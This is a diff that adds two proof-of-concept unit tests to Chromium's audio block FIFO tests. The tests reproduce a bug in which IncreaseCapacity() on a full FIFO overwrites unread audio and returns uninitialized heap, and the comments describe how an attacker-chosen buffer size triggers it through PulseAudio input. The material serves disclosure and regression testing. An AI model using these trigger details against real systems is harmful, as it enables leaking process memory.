diff --git a/media/base/audio_block_fifo_unittest.cc b/media/base/audio_block_fifo_unittest.cc index 45d312a03147a..6814cb4480592 100644 --- a/media/base/audio_block_fifo_unittest.cc +++ b/media/base/audio_block_fifo_unittest.cc @@ -7,7 +7,10 @@ #include #include +#include #include +#include +#include #include "base/time/time.h" #include "media/base/sample_format.h" @@ -275,4 +278,123 @@ TEST_F(AudioBlockFifoTest, DynamicallyIncreaseCapacity) { ConsumeAndVerify(&fifo, max_frames, 0); } +// ----------------------------------------------------------------------------- +// POC: IncreaseCapacity() on a FULL FIFO mis-positions write_block_ and causes +// Consume() to return never-written (uninitialized) AudioBus blocks. +// +// This mirrors what media/audio/pulse/pulse_input.cc:ReadData() does when +// PulseAudio delivers >=3 fragment-sized chunks in a single callback with a +// 2-block FIFO and an attacker-chosen tiny frames_per_buffer: +// iter1: push N frames -> half full +// iter2: push N frames -> FULL (write_block_ wraps to read_block_, unfilled=0) +// iter3: N > unfilled(0) -> IncreaseCapacity(2) on FULL fifo ** BUG ** +// then push N frames (overwrites unconsumed block 0) +// iter4: push N frames (overwrites unconsumed block 1) +// then: while(available_blocks()) Consume() -> last 2 blocks are the +// freshly AlignedUninit'd buses, never written by Push(). +// ----------------------------------------------------------------------------- +TEST_F(AudioBlockFifoTest, POC_IncreaseCapacityOnFullFifo_LeaksUninitMemory) { + constexpr int kPOCChannels = 1; + constexpr int kFrames = 32; // attacker-chosen frames_per_buffer + constexpr int kInitialBlocks = 2; // kNumberOfBlocksBufferInFifo + + AudioBlockFifo fifo(kPOCChannels, kFrames, kInitialBlocks); + + auto push_block = [&](float v) { + std::vector buf(static_cast(kPOCChannels) * kFrames, v); + fifo.Push(base::as_bytes(base::allow_nonunique_obj, base::span(buf)), + kFrames, kSampleFormatF32); + }; + + // ReadData() do-while iterations 1 & 2: exact-fill the FIFO. + push_block(1.0f); + push_block(2.0f); + ASSERT_EQ(0, fifo.GetUnfilledFrames()); + ASSERT_EQ(kInitialBlocks, fifo.available_blocks()); + + // ReadData() iteration 3: number_of_frames(32) > unfilled(0), so + // pulse_input.cc calls IncreaseCapacity((32-0)/32 + 1) == IncreaseCapacity(2) + // on the FULL fifo. **The bug fires here.** + fifo.IncreaseCapacity(2); + push_block(3.0f); + + // ReadData() iteration 4. + push_block(4.0f); + ASSERT_EQ(4, fifo.available_blocks()); + + // ReadData() consume loop: while(available_blocks()) callback_->OnData(...). + // Every float ever Push()'d into this FIFO is in the set {1,2,3,4}. Any + // float returned by Consume() that is NOT in this set is, by construction, + // uninitialized heap from AudioBus::Create -> base::AlignedUninit. + const std::set pushed = {1.0f, 2.0f, 3.0f, 4.0f}; + std::vector first_sample; + int leaked_floats = 0; + uint32_t leaked_bits = 0; + while (fifo.available_blocks()) { + const AudioBus* bus = fifo.Consume(); + AudioBus::ConstChannel ch = bus->channel(0); + first_sample.push_back(ch[0]); + for (float f : ch) { + if (!pushed.count(f)) { + ++leaked_floats; + leaked_bits = std::bit_cast(f); + } + } + } + + fprintf(stderr, + "[POC] pushed block markers (FIFO order): 1.0 2.0 3.0 4.0\n" + "[POC] consumed block first-samples : %g %g %g %g\n" + "[POC] floats returned by Consume() that were NEVER pushed: %d / %d\n" + "[POC] sample leaked raw dword: 0x%08x (ASAN malloc_fill_byte=0xbe " + "=> 0xbebebebe == uninitialized)\n", + first_sample[0], first_sample[1], first_sample[2], first_sample[3], + leaked_floats, 4 * kFrames, leaked_bits); + + // CORRECT behaviour: the four pushed blocks come back in order 1,2,3,4. + // BUGGY behaviour: 3,4,,; blocks 1.0/2.0 are silently lost + // and uninitialized heap is returned. + std::set got(first_sample.begin(), first_sample.end()); + + EXPECT_EQ(pushed, got) + << "[POC] Data integrity violated: pushed blocks {1,2,3,4} but Consume() " + "did not return them all -- IncreaseCapacity() on a full FIFO " + "mis-positioned write_block_ onto already-full data."; + + EXPECT_EQ(0, leaked_floats) + << "[POC] CWE-908: Consume() returned " << leaked_floats + << " floats of UNINITIALIZED AlignedUninit heap. In production " + "this is unsandboxed audio-service heap residue copied verbatim into " + "renderer-mapped SHM via InputSyncWriter::Write()."; +} + +// Minimal variant matching the exact 3-fragment scenario from the report +// (only one extra push after the buggy resize). +TEST_F(AudioBlockFifoTest, POC_IncreaseCapacityOnFullFifo_ThreeFragments) { + constexpr int kPOCChannels = 1; + constexpr int kFrames = 32; + + AudioBlockFifo fifo(kPOCChannels, kFrames, 2); + + auto push_block = [&](float v) { + std::vector buf(static_cast(kPOCChannels) * kFrames, v); + fifo.Push(base::as_bytes(base::allow_nonunique_obj, base::span(buf)), + kFrames, kSampleFormatF32); + }; + + push_block(1.0f); + push_block(2.0f); // FIFO full, write_==read_==0 + fifo.IncreaseCapacity(2); // bug: write_ jumps onto full block + push_block(3.0f); // overwrites block holding 1.0 + + ASSERT_EQ(3, fifo.available_blocks()); + + // First Consume() should be the OLDEST data (1.0). With the bug it is 3.0. + const AudioBus* first = fifo.Consume(); + EXPECT_FLOAT_EQ(1.0f, first->channel(0)[0]) + << "[POC] Oldest unconsumed audio (1.0) was overwritten by post-resize " + "Push(); IncreaseCapacity() on full FIFO put write_block_ on top of " + "read_block_."; +} + } // namespace media